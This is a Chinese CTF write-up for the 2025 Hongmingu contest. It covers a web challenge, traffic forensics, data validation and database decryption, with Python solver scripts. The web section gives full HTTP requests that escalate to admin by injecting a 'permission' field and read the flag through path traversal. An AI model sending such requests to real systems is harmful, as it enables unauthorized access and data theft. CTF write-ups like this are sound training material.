2025红明谷writeup
写在前面:
好久不见,这里是贝塔贝塔(好长时间没喊过的口号,也有很多文章夭折了,管挖不管埋
好久没有打比赛了[没错,我是懒狗]
最近在摸鱼王者ing
简单的仓库
队友做的web捏
注册获取VIP功能
POST /api/recharge HTTP/1.1
Host: eci-2ze75am5axzh4dfots3n.cloudeci1.ichunqiu.com
Content-Length: 66
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://eci-2ze75am5axzh4dfots3n.cloudeci1.ichunqiu.com
Referer: http://eci-2ze75am5axzh4dfots3n.cloudeci1.ichunqiu.com/warehouse
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJ1c2VyIjoiMTIzNDU2In0.Z944fA.fo3H4bnB35ERk3kD5upqqh68m-E
Connection: close
{"amount":"111111111111","username":"123456","permission":"admin"}
根据admin下的readme.txt提示获取flag
GET /download/flag.txt?user=../../../var/tmp HTTP/1.1
Host: eci-2ze75am5axzh4dfots3n.cloudeci1.ichunqiu.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2ze75am5axzh4dfots3n.cloudeci1.ichunqiu.com/warehouse
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJwZXJtaXNzaW9uIjoidmlwIiwidXNlciI6IjEyMzQ1NiJ9.Z944lw.hy-pycBaMUDSN5N_qjUjaKo8P7k
Connection: close
异常行为溯源
打开流量包发现是tcp,有data部分,使用tshark提取这个部分,并使用脚本解密
import base64
import json
import binascii
def process_file(input_file_path, output_file_path):
with open(input_file_path, 'r') as file:
lines = file.readlines()
with open(output_file_path, 'wb') as out_file:
for line in lines:
line = line.strip()
if not line:
continue
try:
hex_data = bytes.fromhex(line)
\# 处理Base64填充问题
padding = len(hex_data) % 4
if padding:
hex_data += b'=' * (4 - padding)
base64_decoded = base64.b64decode(hex_data)
try:
data = json.loads(base64_decoded)
msg = data.get('msg')
if msg:
msg_decoded = base64.b64decode(msg)
out_file.write(msg_decoded)
except json.JSONDecodeError:
out_file.write(base64_decoded)
except (ValueError, binascii.Error, base64.binascii.Error) as e:
print(f"处理过程中出现错误: {e},当前行: {line}")
if __name__ == "__main__":
input_file = 'data.txt'
output_file = 'log'
process_file(input_file, output_file)
之后md5访问次数最多的ip提交即可
数据校验
下载文件,分离十条数据例子使用ai写脚本
import pandas as pd
import re
import hashlib
import ipaddress
import base64
from ecdsa import VerifyingKey, SECP256k1
import os
\# 读取文件
df = pd.read_csv('./data.csv')
\# 检查 UserName 格式
def check_username_format(username):
return bool(re.match(r'User-\w+', username))
\# 验证 MD5 值
def verify_md5(input_str, md5_check):
md5_hash = hashlib.md5(input_str.encode()).hexdigest()
return md5_hash == md5_check
\# 检查 Password 字符类型
def check_password_characters(password):
return bool(re.match(r'^[A-Za-z0-9]+$', password))
\# 检查 IP 地址合法性
def check_ip(ip):
try:
ipaddress.ip_address(ip)
return True
except ValueError:
return False
\# 验证 ECDSA 签名
def verify_ecdsa_signature(username, signature, serial_number):
public_key_path = os.path.join('./ecdsa-key/', f'{serial_number}.pem')
if not os.path.exists(public_key_path):
\#print(1)
return False
with open(public_key_path, 'rb') as key_file:
vk = VerifyingKey.from_pem(key_file.read())
\#print(vk)
try:
\# 对 Base64 编码的签名进行解码
decoded_signature = base64.b64decode(signature)
vk.verify(decoded_signature, username.encode())
return True
except Exception as e:
\#print(21)
\#print(e)
return False
\# 进行各项检查
df['UserName_Format_Correct'] = df['UserName'].apply(check_username_format)
df['UserName_MD5_Correct'] = df.apply(lambda row: verify_md5(row['UserName'], row['UserName_Check']), axis=1)
df['Password_Characters_Correct'] = df['Password'].apply(check_password_characters)
df['Password_MD5_Correct'] = df.apply(lambda row: verify_md5(row['Password'], row['Password_Check']), axis=1)
df['IP_Correct'] = df['IP'].apply(check_ip)
df['Signature_Correct'] = df.apply(lambda row: verify_ecdsa_signature(row['UserName'], row['Signature'], row['Serial_Number']), axis=1)
\# 找出有一条为 false 的行
invalid_rows = df[~(df['UserName_Format_Correct'] & df['UserName_MD5_Correct'] &
df['Password_Characters_Correct'] & df['Password_MD5_Correct'] &
df['IP_Correct'] & df['Signature_Correct'])]
print(invalid_rows)
\# 提取这些行的 Serial_Number
invalid_serial_numbers = invalid_rows['Serial_Number'].tolist()
\# 按从小到大排序
invalid_serial_numbers.sort()
\# 打印 Serial_Number
print("不合规的 Serial_Number:")
for num in invalid_serial_numbers:
print(num)
\# 用 _ 连接
joined_numbers = '_'.join(map(str, invalid_serial_numbers))
\# 计算 MD5
md5_result = hashlib.md5(joined_numbers.encode()).hexdigest()
\# 生成 flag
flag = f'flag{{{md5_result}}}'
print(flag)
Strange_Database
下载文件分析发现是db数据库文件和私钥文件
找一个在线的先简单测试一下解密过程
└─$ openssl rsautl -decrypt -oaep -in 1.txt -out in_e_d.txt -inkey OAEP-0-tycQQe.pem
Enter pass phrase for OAEP-0-tycQQe.pem:
在本地使用openssl可以,那么训练ai 调用系统命令解码
import os
import base64
import subprocess
import sqlite3
def decrypt_with_openssl(encrypted_data, private_key_path, private_key_password):
try:
# 进行 Base64 解码
decoded_data = base64.b64decode(encrypted_data)
# 构建 openssl 命令
command = [
"openssl",
"rsautl",
"-decrypt",
"-oaep",
"-inkey",
private_key_path,
"-passin",
f"pass:{private_key_password}"
]
# 执行命令
result = subprocess.run(command, input=decoded_data, capture_output=True)
if result.returncode == 0:
return result.stdout.decode("utf-8")
else:
print(f"Decryption failed with error: {result.stderr.decode('utf-8')}")
return None
except Exception as e:
print(f"An error occurred during decryption: {e}")
return None
def process_db_file(db_path, private_key_path, private_key_password):
try:
# 连接到 SQLite 数据库
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
# 查询所需字段的数据
cursor.execute("SELECT Type, Name, Password, Remark FROM accounts")
rows = cursor.fetchall()
conn.close()
decrypted_rows = []
for row in rows:
decrypted_row = []
for field in row:
if field:
decrypted_field = decrypt_with_openssl(field, private_key_path, private_key_password)
decrypted_row.append(decrypted_field if decrypted_field else field)
else:
decrypted_row.append(field)
decrypted_rows.append(decrypted_row)
# 生成输出文件路径
output_filename = os.path.splitext(os.path.basename(db_path))[0] + "_decrypted.csv"
output_path = os.path.join(os.path.dirname(db_path), output_filename)
# 将解密后的数据写入 CSV 文件
with open(output_path, "w", newline="", encoding="utf-8") as csvfile:
for row in decrypted_rows:
csvfile.write(",".join([str(field) if field else "" for field in row]) + "\n")
print(f"Decrypted data written to {output_path}")
except sqlite3.Error as e:
print(f"SQLite error: {e}")
except Exception as e:
print(f"An unexpected error occurred: {e}")
def main():
key_dir = "key"
database_dir = "database"
# 遍历 key 目录下的私钥文件
for key_file in os.listdir(key_dir):
if key_file.startswith("OAEP-") and key_file.endswith(".pem"):
parts = key_file.split("-")
id_part = parts[1]
private_key_password = parts[2].replace(".pem", "")
private_key_path = os.path.join(key_dir, key_file)
db_file = f"database-{id_part}.db"
db_path = os.path.join(database_dir, db_file)
if os.path.exists(db_path):
process_db_file(db_path, private_key_path, private_key_password)
if __name__ == "__main__":
main()
使用cat合并文件查看解密内容,发现有key和enc两个出现次数非常少的关键词,
使用grep匹配并按照文件顺序拼接remark列,用key解密enc,经过一顿尝试发现是rc4